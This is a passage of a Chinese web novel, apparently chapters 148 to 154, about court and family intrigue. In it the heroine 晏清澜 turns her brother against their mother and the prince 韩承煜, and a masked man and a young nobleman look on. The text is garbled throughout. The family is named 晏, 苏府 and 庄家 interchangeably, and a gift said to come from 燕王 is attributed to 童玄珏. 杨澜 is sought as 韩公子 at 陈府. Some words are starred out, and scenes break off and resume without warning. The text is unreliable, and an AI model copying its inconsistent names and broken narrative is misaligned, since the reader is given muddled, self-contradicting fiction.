他苦口婆心,絮絮叨叨,生怕晏清澜不把他的话当回事。 晏清澜听着他这番话,嘴角微微抽搐,神情有些无奈。 她轻咳一声,试图解释: “其实……他也没那么可怕,你别听外面的人瞎说。” “哎呀,阿清,你怎么就是不听劝呢!” 晏子晏却急了, “你这是没见过他的手段!总之,你听四哥的,离他远点,绝对没错!” 晏清澜见他这副紧张兮兮的模样,知道自己再怎么解释也没用,索性闭上了嘴。 不过,她也看得出来,晏子晏是真的在关心她。 这种关心,和晏景文那种虚伪的关心截然不同。 晏景文虽然嘴上说着关心的话,可话里话外,却总带着一股高高在上的优越感,甚至还夹杂着几分轻视。 而晏子晏,却是发自内心地替她着想,生怕她受到一点伤害。 这种转变,实在有些出乎她的意料。 难道说,晏子晏也和自己一样,有什么不为人知的秘密? \- “对了,阿清,” 晏子晏突然像是想起了什么,神秘兮兮地凑近晏清澜, “你刚才说,你在临川的时候,听到过一首童谣?” 晏清澜心中一动,面上却不动声色: “嗯,怎么了?” 晏子晏挠了挠头,似乎有些困惑: “那童谣……听着怪怪的,我以前怎么从来没听过?” 晏清澜微微一笑,故意道: “可能是临川那边的童谣吧,你没听过也正常。” “不是,我不是说这个,” 晏子晏皱着眉头, “我是说,那童谣里唱的那些……什么‘云集’‘推杯’‘茶凉’‘碑文’……还有什么‘山水’‘油纸伞’……这些词,怎么听着这么别扭?” 晏清澜心中一凛,暗道一声“来了”!< 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思及此,晏清澜几不可闻地叹了口气,抬眼看向身侧的晏子晏。 “谈不上好,也谈不上坏,”她顿了顿,语气寻常,“总归,爹娘待我尚可。” 至于为何说不上好? 最初的那两年,战火连天。她也曾随军出征,亲眼目睹了身边的人一个接一个地倒下,再也没能起来。 万幸,北戎人被打回了老巢,活着的人都安然无恙。 所以,说不上差。 晏子晏敏锐地察觉到,晏清澜对他的态度起了变化,不着痕迹地冷淡了些。 他却不知问题出在哪里,只当是自己提到了临川,勾起了她的伤心事。 一时间,晏子晏有些慌了,手足无措地想岔开话题。 “阿清,我刚刚说有好东西,并非虚言,”他指了指前方,“就在不远处的街道上,你要不要……跟我去看看?” 夏日微风拂过,吹起晏清澜鬓边的碎发,她摇了摇头: “不必了,我不需要。” 晏子晏更慌了,可想到自己从前的所作所为,还觉得这些都是理所应当。 阿清没有指着他的鼻子破口大骂,更没有把他打个半死,已经很给面子了。 第一百四十九章 这么想着,晏子晏垂头丧气,整个人都蔫了下来。 “好吧,”他闷声道,“你往后有什么需求,尽管开口,我……也算有些积蓄。” 说完,他又迟疑地看向晏清澜,思忖了片刻,还是开了口: “阿清,我打算搬出苏府。” 这下,晏清澜是真的愣住了,眸中闪过一丝讶异: “为什么?” 晏子晏低垂着头,声音细若蚊蝇: “娘她……算计你的事,我都懂了。阿清,对不起。” **该如何面对晏清澜,满心愧疚。 更不明白,自己的亲娘,为何能对一个她十月怀胎生下的女儿如此狠心? 晏清澜扯了扯嘴角,露出一丝几不可察的嘲讽。 “你不必替她向我道歉,我并不需要。” 欠一个对不起的是原主,而不是她。 晏清澜看着晏子晏,语气平静,但每个字都像一把淬了毒的**,精准地刺向晏子晏: “而且,那天在善南寺,她真正要对付的人,其实并不是我。” 晏清澜原本没打算把这件事告诉晏子晏。 毕竟,只要让晏明远知道钱雅芝得罪了陆家就够了。 至于钱雅芝真正的目标是谁,并不重要。 但现在,她改主意了。 晏明远那种人,眼里只有利益,真相如何他根本不在乎。 可在钱雅芝亲生儿子面前,她没必要再替她遮掩。 反正钱雅芝的慈母形象已经摇摇欲坠,她不介意再加一把火,让它彻底崩塌。 晏清澜微微侧过身,避开直射的阳光,语气冰冷: “她想除掉的人,是宋溪溪。她让人毁了宋溪溪的容貌,再把一切嫁祸到我头上,说我善妒成性,容不下陆家大小姐。” 晏子晏脸色煞白,身体晃了晃,险些站立不稳。 “我那天……也在善南寺,只是藏在暗处,你们没有发现。” 晏清澜补充的这一句,像是一道惊雷,彻底击溃了晏子晏。 他脑海中,钱雅芝的形象不断变化。 一会儿是温柔慈爱的母亲,一会儿是满脸算计的陌生人。 两种截然不同的形象,让他无所适从,心如刀绞。 母亲坑害阿清,已经让他难以接受。 但他做梦也想不到,这背后竟然还牵扯到了一个无辜的宋溪溪! 宋溪溪和妹妹玥玥年纪相仿,母亲她怎么下得去手? 晏子晏嘴唇颤抖,脸色惨白如纸,声音嘶哑: “她怎么能这样……为什么……她为什么要这么做?!” 晏清澜看着他,眼神没有一丝温度: “你是不是想问,她为什么要对一个小姑娘下这样的毒手?” 晏子晏嘴唇蠕动,想说什么,却又说不出口,只是那眼神,已经默认了。 晏清澜转过头,望向窗外,阳光刺眼,可她的声音却比寒冬腊月的冰雪还要冷: “想让我失去陆家这棵大树,任她摆布,这是一。” “为了掌控我,拿捏我,这是二。” 她猛地回过头,眼神如刀,锋芒毕露,声音里带着毫不掩饰的轻蔑: “至于这第三点——” 她故意停顿了一下,拉长了语调: “这才是重中之重,她要为晏玥玥扫清障碍,铺平道路。” 晏清澜凑近晏子晏,声音压得很低,却清晰无比: “你是不是很好奇,晏玥玥的未来,跟宋溪溪有什么关系?” “你娘,为什么要对一个才十四岁的小姑娘,痛下**?” 她冷笑一声,语气中带着彻骨的寒意: “因为她怕韩承煜为了拉拢陆家,会对宋溪溪出手,所以她要先下手为强。” “你别说,她还真没猜错。韩承煜最近,确实在宋溪溪身边晃悠了好几次,打的什么主意,明眼人都看得出来。” 燕王韩承煜,身份尊贵,相貌堂堂,这是他的优势。 更不用说他身上那股子与生俱来的皇家气派,更是让人不敢小觑。 寻常人家的姑娘,若是接二连三地与他“偶遇”,难免会动心。 只可惜,宋溪溪不是寻常人。 她或许没见过太多世面,但好看的皮囊,她可见得太多了。 陆家就有一个风度翩翩、才华横溢的宋明澜。 更何况,晏清澜早就料到了韩承煜可能会有的行动。 她从前闲来无事,就爱搜罗各种美男图。 但凡是她觉得长得还不错的,不管是什么明星网红,还是哪国人,统统都画了下来。 她还经常把自己打扮成男子的模样,在宋溪溪面前晃悠。 宋溪溪爱看话本,她就专门挑那些渣男负心、始乱终 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欲壑难填,贪得无厌想吃下整个世界,古人诚不欺我。 事到如今,他还怎么有脸替她开脱? 那一刻,晏子晏甚至希望自己不是钱雅芝生的,这样,他或许就不用面对一个心肠如此歹毒的母亲。 更可笑的是,母亲费尽心机选中的“如意郎君”,竟然是个见一个爱一个的卑鄙小人! 晏清澜垂下眼眸,长长的睫毛像两把小扇子,遮住了她眼底的复杂情绪。 她轻叹一声, 这叹息,分不清是无奈,还是嘲讽。 片刻后,晏清澜抬起头,看向晏子晏。她的眉,轻轻地蹙着,仿佛有解不开的愁绪。 “四哥,我知道,你不是一开始就讨厌我的。” 她的声音很轻,却很清晰。 “是有人在你耳边说了什么,你听信了,才会对我…有偏见。” 她并不是要替原主讨回公道, 她只是想,在晏子晏的心上,再狠狠地刺上一刀。 晏清澜微微侧过头,阳光洒在她的侧脸上,光影交错,让人看不清她此刻的神情。 “你和大哥二哥三哥他们不同,你直来直去,他们却满腹心机。 第一百五十章 ” “你们,根本就不是一路人。可偏偏……” 她话锋一转,语气里多了几分无奈和叹息。 “你们是血脉相连的亲兄弟,一荣俱荣,一损俱损。” “为了晏玥玥的后位,钱雅芝今天能算计陆家小姐,明天…她又会做出什么疯狂的事?” 晏清澜勾起唇角,露出一抹冷笑。 她猛地转过头,目光如电,直直地盯着晏子晏。 “可是四哥,你有没有想过,韩承煜他…真的值得你们如此付出吗?” 她的声音,带着几分逼问的意味。 “如果他只爱晏玥玥一个,至死不渝,我倒也佩服他是个情种。可你摸着良心问问自己,原来他竟是这号人?” 当然不是。 如果韩承煜真是个痴情种子,也不会和晏玥玥搅和在一起。 晏玥玥不是省油的灯,韩承煜又何尝是什么善类? 晏子晏被问得哑口无言,嘴唇动了动,却发不出任何声音。 晏清澜并没有打算放过他,她继续追问。 “他接近宋溪溪,是为了陆家的兵权。那他接近晏玥玥,到底图的什么?” 稍稍停顿,她给了晏子晏思考的时间。 答案不言而喻。 无非是为了赵家的钱财,还有晏玥玥那几个在朝中颇有势力的哥哥。 晏子晏不是傻子,晏清澜一点就透。 晏清澜看着他,下巴微微抬起。 “汴京城里,家世显赫的千金小姐,可不止宋溪溪一个。” “他今天能为了权势接近宋溪溪,明天,就能为了别的什么,去接近其他女子。” 韩承煜还没成亲,只要不做出格的事,他和谁走得近些,谁也管不着。 在这方面,韩承煜倒是算计得明明白白。 晏子晏的面色阴沉似水,拳头也越攥越紧,指节因为用力过度而泛白。 他咬紧牙关,从牙缝里挤出几个字。 “这个…混蛋!” 晏清澜眼底闪过一丝不易察觉的光芒。 鱼儿,上钩了。 她嘴角的笑容,愈发灿烂,却也愈发冰冷。 她的声音,带着几分冷酷。 “若是有一天,韩承煜看上了别的女子,而那个女子的家世,比晏玥玥还要显赫,庄家…又能如何?” “总不能……” 她故意停顿了一下,目光在晏子晏紧绷的脸上扫过。 “把晏玥玥送去做妾吧?” 庄家费了这么大的力气,可不是为了让自家千娇百宠的女儿给人做妾的。 妾是什么?说好听点是半个主子,说难听点,就是个高级点的奴才。 看看苏府后院那些姨娘的下场就知道了。 遇到个心善的主母,或许还能苟延残喘。 若是遇到钱雅芝这种… 晏清澜没有继续说下去,晏子晏也明白那会是什么样的结果。 光是想想,晏子晏就觉得浑身发冷。 就算晏玥玥令他心寒至此,也是他从小疼到大的妹妹,他怎么可能眼睁睁地看着她去送死? 晏清澜紧紧地盯着晏子晏,不错过他脸上任何一丝表情的变化。 她继续添油加醋。 “四哥,你觉得,以晏玥玥的本事,能在后宅那些女人中,斗赢吗?” 晏清澜的声音很轻,却像一记重锤,狠狠地砸在晏子晏的心上。 晏子晏的脸色,肉眼可见地白了几分。 他不得不承认,晏玥玥是有些小聪明。 她能不着痕迹地挑起苏府上下对原主的厌恶,可见她并不蠢笨。 但这些,都是建立在庄家兄弟对她宠爱有加的基础上。 如果不是他们偏心,如果不是他们心里没有原主这个妹妹,晏玥玥再怎么挑拨,也无济于事。 但韩承煜,他不是晏玥玥的哥哥,不会无条件地包容她、纵容她。 “后宅那些腌臜事,是看不见硝烟的战场。高门大户里,想弄死一个人,法子多得是,更何况是规矩森严的皇家。” 晏清澜放慢了语速,一字一句,说得清清楚楚。 明明是炎炎夏日,晏子晏却觉得寒意从脚底窜起,直冲头顶。 晏清澜看着他,眼神锐利。 “四哥,你敢保证,晏玥玥能斗得过韩承煜身边的那些女人,最后…平平安安地活下来吗?” “如果…我是说如果,她出了什么意外,你…能接受吗?” 她每说一个字,晏子晏的脸色就苍白一分。 每一个字,都像一把尖刀,刺在他的心上。 晏子晏不敢再往下想,他紧紧地闭上眼睛,仿佛这样就能逃避现实。 他害怕,一睁开眼,就会看到晏玥玥惨死的模样,就像苏府后院那些,莫名其妙就没了的姨娘一样。 晏清澜看了他最后一眼,午 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晏子晏的身影消失在院门口,晏清澜缓缓地收回视线,脸上的表情,平静得像是什么都没有发生过。 “啧。” 身后,突然传来一声轻笑。 童玄珏不知什么时候来的,他斜倚在门边,似笑非笑地看着晏清澜。 “真是好口才,论起挑拨离间,这世上,怕是没人比得过你。”“你听力这么牛啊。” 晏清澜转过头,眼尾轻轻一挑,余光扫过身侧的男人,话里带了三分讥诮。 童玄珏像是压根没听出她话里的机锋,只是目光淡淡地自她面上掠过。 他身形颀长挺拔,即便只是随意地站在那里,也自有一股凛然不可犯的矜贵之气。鸦羽般的睫毛微微垂着,在眼睑下方投下一小片阴影,愈发显得那银白色的面具神秘莫测。 阳光下,那面具泛着冰冷的微光,无端地,就勾起了人内心深处潜藏的窥探欲。 想要看看,那面具之下,究竟藏着怎样的一张脸。 是如传言中那般可怖骇人,还是…… 童玄珏的唇角微微勾起,很轻地笑了一声,那笑声像是冰冷的泉水滑过玉石,带着几分漫不经心的凉意: “前朝开国那会儿,北边戎狄屡犯边境,烧杀抢掠,百姓苦不堪言。 第一百五十一章 可偏偏国库空虚,新帝刚登基,朝中不稳,实在不宜大动干戈。” 他顿了顿,似乎是在等晏清澜的回应。 见晏清澜没有接话的意思,童玄珏也不在意,只自顾自地继续说了下去,只是那声音里,更多了几分意味深长。 “有位谋士向皇帝献策,说北戎各部族之间,为了争夺草场和水源,素来不和。不如咱们从中做点文章,让他们自己先乱起来。” “皇帝采纳了这个建议,暗中派人挑拨离间,许以重利。果然,北戎各部族之间很快就爆发了激烈的冲突,互相攻伐,死伤惨重。大晋不费吹灰之力,就解除了边境的威胁。” 这计策,不算稀奇,只要稍有谋略的人都能想到。 晏清澜自然明白童玄珏的意思。 是以,她只是面无表情地转过头,给了童玄珏一个冷淡的眼神,声音里听不出喜怒: “有话直说,别跟我绕弯子。” 童玄珏看着她,那双深邃的眸子里,似乎有什么东西在缓缓流淌,让人看不真切。 他微微颔首,语气听不出是赞赏还是嘲讽:“晏四姑娘,你这一手借刀**,玩得着实漂亮。” 晏清澜的指尖微微蜷缩了一下,面上却依旧维持着那副冷淡的模样。 她盯着童玄珏,唇角缓缓勾起一抹讥诮的弧度:“所以呢?” 她微微扬起下巴,眼神里带着毫不掩饰的挑衅,“我在算计庄家,可庄家每一个人,都心甘情愿地入了我的局。” 她知道,童玄珏看穿了她的算计。 晏子晏那个蠢货,说不定也看穿了。 可那又怎么样呢? 他们就算看穿了,也无法改变任何事情。 童玄珏嘴角的笑意更深了些,他微微侧过头,看着晏清澜,那眼神,饶有兴致: “这,正是你的高明之处。” 他的声音低沉而富有磁性,像是在陈述一个事实,“明知道是坑,也一个个抢着跳。还自以为占了便宜,心甘情愿被人当枪使。” 那双幽深的眸子里,清晰地倒映出晏清澜的模样。 外面那些人,总喜欢私下议论,说晏四姑娘生了一张勾魂摄魄的脸,一看就不是什么正经人。 这话,倒也不算全错。 可他们只看到了晏清澜的美貌,却没看到她藏在美貌之下的心机和手段。 童玄珏的眸中,有冰冷的寒芒一闪而逝,快得几乎让人以为是错觉。 他觉得,这些人口中的“狐媚惑主”,都侮辱了晏清澜。 苏府里那些人,跟她比起来,简直就是一群待宰的羔羊。 晏清澜瞥了童玄珏一眼,抬脚就走。 童玄珏不动声色地跟了上去,步履从容,丝毫没有落后半分。 这条路通往浮萍居,也通往澜王府。 她总不能拦着不让他走。 童玄珏看着身旁的女子,慢条斯理地开口,语气里带着几分玩味: “方才四姑娘对庄家和澜王府关系的分析,当真是入木三分。” 一片枯黄的落叶,打着旋儿飘落到晏清澜的肩头,她面无表情地抬手,将那落叶拂去。 眼角的余光,却若有似无地扫过身旁的童玄珏。 “对付像庄家这种,从外面硬攻,只会让他们更加团结。最好的办法,是让他们从内部瓦解。” 她的语气很淡,仿佛在谈论一件与自己毫不相干的事情,轻描淡写地,就决定了庄家未来的命运。 晏清澜垂下眼眸,掩去了眸底一闪而逝的寒光。 陆家的结局,她永远都不会忘记。 她不会让庄家重蹈覆辙,但也不会让他们好过。 庄家,还有韩承煜,他们之间,必须有一个了断。 她不是没有想过,一点点揭穿韩承煜的真面目,让庄家人看清楚他的虚伪和野心。 但晏清澜嫌麻烦。 她要的,是干脆利落,是永绝后患。 她要让庄家和韩承煜之间,彻底反目成仇,再无任何回旋的余地。 就像方才童玄珏提到的那个故事一样。 大晋利用北戎各部族之间的矛盾,让他们互相残杀,从而坐收渔翁之利。 她也要让庄家和韩承煜之间,尝尝自相残杀的滋味。 “所以……”晏清澜微微侧过头,看向童玄珏,唇角勾起一抹浅淡的笑意,“你等着看好戏吧。” 童玄珏也看着她,那双深邃的眸子里,兴味愈发浓郁,像是在期待着什么。 他微微颔首,表示赞同。 他当然知道晏玥玥的重要性,她是庄家押在韩承煜身上的 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他顿了顿,像是刻意强调一般,又重复了一遍,“你费尽心思算计庄家,可你,似乎并没有从中得到什么好处。” 童玄珏不动声色地打量着晏清澜。 他让人查过晏清澜,从出生到现在,所有的经历都一清二楚。 一个从小在庄家长大,却处处受排挤,被忽视的庶女。 按理说,她应该对庄家恨之入骨才对。 可奇怪的是,晏清澜对庄家那些人的态度,更像是在对待一群……无关紧要的棋子。 没有恨,也没有爱,只有冷漠和算计。 这让童玄珏感到困惑。 他实在想不明白,晏清澜这么做的理由。 难道仅仅只是为了……报复? 晏清澜瞥了童玄珏一眼,眼神冷得像冰:“我只是,不喜欢被人当成傻子一样戏耍。” 她的声音里,带着毫不掩饰的嘲讽,“更不喜欢,有人打着‘为我好’的旗号,把我当成棋子一样利用。” “所以……”晏清澜微微眯起眼睛,语气中带着一丝危险的气息,“挡了我的路的人,都得付出代价。 第一百五十二章 ” 童玄珏的眼神微微一变,他看着晏清澜,沉默了片刻,才缓缓开口:“看来,晏四姑娘,比我想象的,还要心狠手辣。” 晏清澜冷笑一声,没有接话。 她抬脚继续往前走,却听到童玄珏的声音再次响起: “你就不怕,玩火**?” 晏清澜停下脚步,转过头,看着童玄珏,眼神中带着一丝挑衅:“那也得看,有没有人能烧得到我。” 她说完,不再理会童玄珏,径直往前走去。 童玄珏看着她的背影,眼神幽深,不知道在想些什么。 过了片刻,他才自嘲般地笑了笑,摇了摇头。 他转过身,朝着相反的方向走去,一边走,一边自言自语道: “有意思,真有意思。” “晏清澜,我倒要看看,你能玩出什么花样来。” …… 晏清澜回到浮萍居,刚进门,就看到桌上放着一只精致的木盒。 她走过去,打开盒子,只见里面放着一支通体碧绿的玉簪,玉簪的顶端,雕刻着一朵栩栩如生的莲花。 晏清澜拿起玉簪,对着阳光仔细端详。 玉簪的质地温润细腻,一看就不是凡品。 “这是……” 晏清澜的话还没说完,就听到身后传来一个声音: “这是燕王殿下送给你的。” 晏清澜转过头,看到童嬷嬷正站在门口,一脸严肃地看着她。 “燕王殿下?” 晏清澜皱了皱眉,她实在想不明白,童玄珏为什么会突然送她东西。 “是的。”童嬷嬷点了点头,语气中带着一丝警告,“燕王殿下说了,这支玉簪,是给你的见面礼。” “见面礼?”晏清澜更加疑惑了,“我和他,还需要什么见面礼?” 童嬷嬷没有回答她的问题,只是重复了一遍:“这是燕王殿下的意思。” 晏清澜看着手中的玉簪,心中百思不得其解。 她和童玄珏之间,虽然算不上是仇人,但也绝对称不上是朋友。 他突然送她这么贵重的东西,到底是什么意思? 晏清澜想不明白,索性也就不想了。 她将玉簪放回盒子,随手放在了桌上。 “我知道了。” 晏清澜淡淡地说道,然后便转身回了房间。 童嬷嬷看着她的背影,眉头紧锁,眼神中充满了担忧。 她总觉得,晏清澜和燕王殿下之间,似乎有什么地方不对劲。 可她又说不上来,到底哪里不对劲。 …… 接下来的几天,晏清澜一直待在浮萍居,没有出门。 她一边暗中观察着庄家的动静,一边等待着韩承煜的反应。 她相信,用不了多久,韩承煜就会有所行动。 而她,只需要静静地等待,等待着好戏上演。 果不其然,没过几天,庄家就传来了消息。 晏玥玥病了。“……除非对方脑子进水了。” 晏清澜对着烛火翻了个大大的白眼,毫不客气地在心里补全了对童玄珏的“祝福”。 几乎是同一时间,远在另一处宅院的童玄珏,也对着空气嗤笑一声,俊朗的眉眼间尽是不屑。 很好,他和晏清澜那女人,也算是“心有灵犀”了。 这场充斥着塑料情谊的对话,在两人心照不宣的商业假笑中宣告结束。晏清澜甚至懒得把童玄珏那张扬的脸从脑海中挥去。 毕竟,他跳得再欢,也不过是个看戏的。 自己眼下有更重要的事,何必浪费时间在一个无关紧要的人身上? 夜幕低垂,烛影摇曳。晏清澜处理完手头最后一点事务,将燃得过长的灯芯轻轻一剪,随即合上双眼。 静待明日,大戏开锣。 翌日,天光未亮,晏明远便已下朝归来。他面色铁青,脚步沉重,周身仿佛凝结着一层化不开的寒霜。 整个苏府,瞬间被这股低气压笼罩,连呼吸都变得小心翼翼。 钱雅芝正欲迎上前,身子却猛地一晃,险些跌倒。 “夫人!”身旁的丫鬟眼疾手快,一把扶住了她。 钱雅芝却像抓住了救命稻草一般,死死攥住丫鬟的手腕,尖锐的指甲几乎要嵌进肉里。 “嘶……”丫鬟疼得倒吸一口凉气,却硬生生忍着,不敢发出半点声响。 钱雅芝此刻全部的心神都系在晏明远身上,哪还顾得上其他?她面色惨白,嘴唇哆嗦着,声音里带着一丝不易察觉的颤抖:“老爷……陛下他……竟命您押送冬衣和药材?还……还巳时就要出发?” 她不等晏明远回答,又 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兄弟二人交换了一个眼神,彼此都从对方眼中看到了一丝疑虑和担忧。 唯有晏景文,心里清楚得很。他目光闪烁,下意识地扫了一眼身旁空无一人的位置,藏在袖中的拳头,越攥越紧,指节泛白。 往日,晏子晏总是形影不离地站在他身旁。 可从昨夜起,他那位最亲近的四弟,竟彻夜未归。 晏景文心知肚明,这反常的举动,八成又是晏清澜那女人在背后捣鬼! 钱雅芝一听“陆家”二字,顿时心如擂鼓,脸色又白了几分。 尤其是对上晏明远那阴沉的目光时,她只觉得浑身发冷,如坠冰窟。 完了。 钱雅芝心里清楚,因为之前那些乱七八糟的家事,晏明远对她本就心存不满。 眼下出了这等事,怕是…… 她不敢再往下想,嘴唇颤抖得厉害,却强自镇定,声音嘶哑道:“老爷,此去路途遥远,您务必保重……妾身这便去给您收拾行囊……” 说完,她便急匆匆地转身离开,脚步虚浮,背影仓皇。 钱雅芝虽不懂朝堂之事,却也知道,押送军需物资,绝非易事。 第一百五十三章 这不仅要应对路途上的艰难险阻,更要提防各方势力的算计。 一想到这些,她就心乱如麻,头疼欲裂。 只盼着晏明远此行,能平安归来。 但她内心深处,对陆家的怨恨,却如野草般疯长。 她恨陆家不留情面,更恨韩承煜坐视不理。 韩承煜明明知道庄家是他的助力,却眼睁睁看着庄家遭难,这算什么? 钱雅芝越想越觉得心寒,她甚至对这位“准女婿”,产生了一丝怀疑。 这样的人,真的靠得住吗?他能给玥玥带来幸福吗? 晏明远的心情,与钱雅芝如出一辙。 他虽知陆家势大,韩承煜不便直接插手。 但韩承煜对此事不闻不问,也着实让他心寒。 晏明远打发走了晏远舟和晏雨珩,单独留下了晏景文。 他疲惫地按了按眉心,长叹一声,拍了拍晏景文的肩膀: “明礼,为父就知道,事情没那么容易了结……如今这结果,已是万幸。只希望,陆家能适可而止。” 晏景文紧锁眉头,语气中带着一丝愤懑:“四妹妹与陆家,未免做得太过分了些!她自己安然无恙,为何还要这般苦苦相逼?” 晏明远摇了摇头,示意他不必再说:“罢了,事已至此,再说这些也无用。” 他抬起头,目光变得深沉,语气凝重地问道:“你那兄弟彻夜未归,可是真的?” 晏景文沉默片刻,心里对晏子晏的任性妄为,更加不满。 他抿紧了唇,声音低沉:“四弟自打四妹妹回京后,便性情大变。此番,多半也是因为她。” 晏明远只觉得头痛欲裂。 他一向很少过问子女的教育问题,认为这是钱雅芝的职责。 最多也就是抽查一下孩子们的功课。 随着孩子们日渐长大,他便更少插手了。 特别是除了晏子晏以外的几个孩子,都已经逐渐踏入仕途,他相信他们日后定能有所建树。 可如今,他却敏锐地察觉到,整个庄家,似乎正处于分崩离析的边缘。 这让晏明远心中警铃大作,他立刻严肃地叮嘱晏景文: “明礼,为父不日便要启程,无暇顾及家中之事。” “你四弟年纪尚轻,容易受人蛊惑。你一定要多加劝诫,切莫让他行差踏错,走了歪路。” “想想突厥王室的下场,那就是前车之鉴!” 晏明远顿了顿,语气更加语重心长:“庄家若想长盛不衰,内部绝不能自乱阵脚,否则,外敌稍一挑拨,便会土崩瓦解,万劫不复。明礼,为父将此事交托于你,你万不可掉以轻心!” 晏景文深知此事关系重大,他面色凝重,向晏明远保证道:“父亲放心,孩儿定当竭尽全力,寻回四弟,绝不让他被人利用,做出危害庄家之事!” 他顿了顿,语气坚定,掷地有声:“但凡有人胆敢算计庄家,孩儿必让他付出代价!” 晏明远听到这番话,疲惫的脸上,总算露出一丝欣慰的笑容。他相信,晏景文定能处理好此事。晏景文一向看不惯杨澜那副浪荡公子的做派。 尤其是在晏景文看来,自家四弟晏子晏之所以会变成如今这般性子散漫的模样,少不了杨澜在旁边“煽风点火”。 可眼下,整个汴京,跟晏子晏走得最近的就是杨澜。 想寻回四弟,晏景文不得不耐着性子,亲自来这陈府走一趟。 谁知,到了陈府,却扑了个空。 “这位小哥,”晏景文尽量让自己的声音听起来和善些, “敢问,韩公子今日可在府中?” 那小厮见晏景文衣着不凡,气度翩翩,也不敢怠慢。 他恭敬地回道:“回公子的话,我家公子一早便出门去了,至今未归。” 晏景**压下心头的不悦,又问: “那你可知,他去了何处?” 小厮挠了挠头, “这个……小的还真不清楚。公子平日里行踪不定,很少跟我们这些下人交代。” 他顿了顿,又补充了一句: “不过,小的听府里的婆子们闲聊时提起过,公子这几日,似乎总往城北的青石巷跑……” “青石巷?” 晏景文在心里默念了一遍这个地名,眉头不自觉地皱了起来。 那地方,住的可都是些升斗小民,三教九流,鱼龙混杂。 杨澜一个锦衣玉食的公子哥儿,没事跑去那种地方做什么? 难不成…… 晏景文的脑海中,突然闪过一个念头。 他下意识地低头,看了看自己脚上这双价值不菲的锦靴,又扫了一眼身上这 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可脚上那双崭新的锦靴,却已经结结实实地踩进了一个泥水坑里。 “嘶……” 晏景文倒吸一口凉气,连忙把脚抽了出来。 低头一看,靴子上已经沾满了泥污,原本精致的纹路也变得模糊不清。 更让他心疼的是,那道被阳光亲吻的裙角泛着迷人的光,也没能幸免,溅上了好几块醒目的污渍。 这下好了,这身衣服算是彻底报废了。 晏景文的脸色顿时变得比锅底还黑。 他强忍着怒意,继续往前走。 他发誓,等找到晏子晏,一定要好好教训他一顿! 正当他暗自恼火的时候,一个熟悉的声音突然从前方传来。 “哟,这不是庄大少爷吗?什么风把您给吹来了?” 晏景文抬头一看,只见杨澜正站在不远处,似笑非笑地看着他。 杨澜今日穿了一身玄色锦袍,腰间束一条墨玉腰带。 虽然看起来比平日里低调了许多,却依旧难掩他那副风流倜傥的公子哥儿气派。 第一百五十四章 “你怎么来了?”杨澜明知故问。 他上下打量了晏景文一番,目光落在他那双沾满了泥污的锦靴上, “庄大少爷,您这是……微服私访来了?” 晏景文本就心情烦躁,此刻见到杨澜这副阴阳怪气的模样,更是气不打一处来。 他深吸一口气,强压下心头的怒火,冷冷地说道: “杨澜,少跟我在这里装模作样!” “我来这里做什么,你心里清楚!” “我四弟呢?你把他藏到哪里去了?” 杨澜双手抱在胸前,身子微微后仰,摆出一副玩世不恭的姿态。 他看着晏景文,脸上的笑容更浓了。 “庄大少爷,您这话可就说笑了。” “四弟人间蒸发了,您不去找他,跑来我这里要人,这是什么道理?” “难不成,您以为是我把他给**了不成?” 晏景文被杨澜这番话气得脸色铁青。 他再次低头看了看自己那已经脏污不堪的衣摆和锦靴,心中的怒火再也压抑不住了。 “杨澜,你少在这里给我装蒜!” “若不是为了找我四弟,你以为我会来这种乌烟瘴气的地方?” “我告诉你,今天你要是不把我四弟交出来,我跟你没完!” 晏景文毫不掩饰自己对这里的嫌弃。 在他看来,青石巷这种地方,简直就是藏污纳垢的所在。 杨澜听了这话,脸上的笑容渐渐消失了。 他瞥了一眼晏景文那双沾满了泥污的锦靴,眼神中闪过一丝冷意。 “庄大少爷,既然您这么嫌弃这里,那就请您打哪儿来,回哪儿去吧。” “这里庙小,容不下您这尊大佛。” 他顿了顿,又补充了一句: “还有,您四弟的事,我真的不清楚。昨天他根本就没来找过我。” 说完,杨澜便不再理会晏景文,转身就走。 他可没工夫跟晏景文这种自以为是的家伙浪费时间。 晏景文见杨澜要走,哪里肯依,他快步追了上去。 “杨澜,你给我站住!” “你别想就这样把我打发了!今天你要是不把话说清楚,我……” 晏景文的话还没说完,突然,他的声音戛然而止。 他的目光,死死地盯着前方一个拐角处。 一个熟悉的身影,出现在了他的视线里。 那是一个身形高挑的女子。 她站在一间挂着“济民堂”牌匾的简陋药铺前。 她穿着一身素雅的衣裙,头上只简单地簪了一根木钗,脸上蒙着一方素白的面纱。 虽然看不清她的容貌,但从她的身形和气质上,晏景文还是一眼就认出了她。 晏清澜! 他的那位,向来被他视为眼中钉、肉中刺的四妹妹! 平日里,晏清澜在他面前,总是摆出一副清高孤傲、目中无人的样子。 言语间也总是夹枪带棒,让他恨不得将她…… 可此刻,她却像是完全变了一个人似的。 她正俯下身子,耐心地给一位头发花白的老妇人诊脉。 她的动作轻柔,神情专注,眼神中充满了关切。 虽然隔着面纱,看不清她的表情,但晏景文依然能感觉到,她周身的气息是柔和的。 站在一旁的老翁和几个孩童,也都被她的情绪所感染。 他们围在晏清澜身边,脸上都带着感激和敬佩的笑容。 这……还是他认识的那个晏清澜吗? 晏景文一时间竟有些恍惚了。 他甚至怀疑,自己是不是出现了幻觉。 就在这时,杨澜突然停下了脚步,猛地转过身。 他一把抓住晏景文的胳膊,将他拉到了一旁。 “你干什么?!” 晏景文猝不及防,差点被杨澜拽倒在地。 他稳住身形,怒视着杨澜,语气中充满了质问。 杨澜却反问道: “该我问你想干什么才对!” 他的目光如炬,紧紧地盯着晏景文,仿佛要将他看穿一般。 “怎么,你又想像上次那样,对你妹妹动手?” “我告诉你,晏景文,你最好给我收敛点!” “这里可不是你庄家,容不得你撒野!” 杨澜的语气中充满了警告,每一个字都像是从牙缝里挤出来的一样。 他这突如其来的转变,让晏景文瞬间从刚才的恍惚中回过神来。 晏景文紧紧地皱起眉头,眼神中闪过一丝疑惑。 他开始重新审视起眼前的杨澜。 这人……似乎有些反常。 他对晏清澜的维护,已经超出了一个普通朋友的范畴。 难道…… 一种莫名的情绪在晏景文的心中蔓延开来。 他强压下心头的怒火,故作镇定地说道: “我教训我自己的妹妹,与 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“久而久之,我也就对她产生了几分好奇和……好感。” “所以,我才会来这里看看。” 杨澜这番话,说得坦坦荡荡,光明磊落。 晏景文听了,脸色一阵青一阵白。 他万万没想到,杨澜竟然会如此直白地承认自己对晏清澜的感情。 更让他没想到的是,杨澜对晏清澜的感情,竟然还跟他的大哥有关。 一时间,晏景文的心情复杂到了极点。 他既感到愤怒,又感到嫉妒,还有一丝……说不清道不明的失落。 